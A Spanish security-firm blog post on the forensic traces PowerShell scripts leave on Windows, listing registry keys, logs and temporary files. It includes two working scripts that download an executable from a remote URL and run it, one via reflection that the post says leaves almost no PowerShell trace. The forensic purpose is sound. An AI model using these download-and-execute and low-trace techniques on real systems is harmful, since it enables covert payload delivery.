Español | English
rss facebook linkedin Twitter

Forense de scripts Powershell

Powershell es una interfaz de scripting avanzado para Windows. Se incluye por defecto con Windows 7, 2008 y posteriores.

Esto hace que cada día sea más popular entre la comunidad underground y que empiecen a publicarse herramientas de hacking basadas en Powershell.

Es por tanto muy importante conocer qué tipo de evidencias deja la ejecución de scripts Powershell en un sistema comprometido para su posterior análisis forense.

Para ver qué tipo de cambios hace un script de Powershell en nuestro equipo, podemos empezar analizando el comportamiento de un script sencillo:

Write-Output "Hola Mundo"



Las principales evidencias son:

  1. Se lanza el binario: powershell.exe (prefetch).
  2. Se actualiza el fichero: C:\Users\usuario\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
  3. Se actualizan las llaves del registro: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count y HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count (userassist).
  4. Se crean una serie de eventos de Windows que van al registro de logs de aplicaciones y servicios, apartado "Windows PowerShell".
Si además el código del script, en vez de introducirse directamente en el interprete de Powershell se incluye en un fichero de texto (normalmente con extensión ".ps1") y se invoca desde línea de comandos (p.e. con "powershell -ExecutionPolicy Unrestricted -File hello.ps1"), quedara rastro del mismo en disco. Aunque si el intruso es minimamente cuidadoso se habrá preocupado de borrarlo de forma segura o de haberlo cargado desde una carpeta remota.



Bastantes datos para empezar a analizar. Es un buen punto de partida, pero en algunas situaciones podemos obtener incluso más detalles.





Una de las características más poderosas de Powershell es la capacidad de permitir la carga de assemblies .NET de forma directa (cmdlet Add-Type). Lo que a su vez permite realizar llamadas a cualquier API de Win32. Esta funcionalidad es ampliamente utilizada por los programadores de herramientas de hacking para obtener acceso a las funciones de bajo nivel.

Un script que hace uso de esta característica tiene un impacto mucho mayor en el sistema y deja una serie de evidencias muy interesantes. Para verlo, vamos a analizar el resultado de ejecutar un script de ejemplo que descarga un binario utilizando la función URLDownloadToFile() de "urlmon.dll" y lo ejecuta:

$url = "

http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

"
$path = "c:\windows\temp\test.exe"


$dnet = Add-Type -memberDefinition @"
  [DllImport("urlmon.dll")]
  public static extern int URLDownloadToFile(int pCaller, string szURL, string szFileName, int dwReserved, int lpfnCB);
"@ -passthru -name Test


$dnet::URLDownloadToFile(0, $url, $path, 0, 0)


Invoke-Expression -command $path



Nuevas evidencias interesantes:

  1. Se crean una serie de ficheros en "%TEMP%" con un nombre aleatorio. Estos ficheros contienen el código fuente .NET incluido en el script (parámetro memberDefinition) y los datos necesarios para compilarlo.
  2. Se lanza el binario "csc.exe" para la compilación y se guarda el output.
  3. Se eliminan todos los ficheros temporales.


Esto se debe a que estamos utilizando código C# de forma inline y necesita ser compilado. Esta es la técnica que utilizan entre otros los payloads de Metasploit basados en Powershell y algunos de los scripts que presentaron David Kennedy y Josh Kelleyasi en la Defcon. Como veis no son demasiado discretos.



Una forma menos ruidosa de invocar el API de Win32 desde Powershell es utilizar técnicas de reflexión, como lo hacen los scripts de PowerSploit. Estos scripts si que se ejecutan completamente en memoria y no dejan otros rastros forenses destacables.

Modificando nuestro script para que trabaje con el API de Win32 de forma reflectiva, nos queda algo más complejo pero con similar funcionalidad:

$url = "

http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

"
$path = "c:\windows\temp\test.exe"


$domain = [AppDomain]::CurrentDomain
$assembly = $domain.DefineDynamicAssembly('TestAssembly', 'Run')
$module = $assembly.DefineDynamicModule('TestModule')
$type = $module.DefineType('TestType')


[Type[]]$parameterTypes = [int], [string], [string], [int], [int]
$method = $type.DefineMethod('URLDownloadToFile', 'Public,Static', [int], $parameterTypes)


$constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([string])
$attr = New-Object Reflection.Emit.CustomAttributeBuilder $constructor, 'urlmon.dll'
$method.SetCustomAttribute($attr)


$realType = $type.CreateType()
[object[]]$args = 0, $url, $path, 0, 0
$realType.InvokeMember('URLDownloadToFile', 'Public,Static,InvokeMethod', $null, $null, $args)


Invoke-Expression -command $path



La ejecución de este script de ejemplo deja apenas el mismo rastro forense a nivel de Powershell que el inocente "Hola Mundo" (por supuesto obviando las evidencias que deja la propia función URLDownloadToFile() que son también bastantes y obviando que estamos dejando el EXE descargado en disco).

Ramón Pinuaga
S21sec

(+34 902 222 521)


24 horas / 7 días a la semana



© Copyright S21sec 2013 - Todos los derechos reservados


login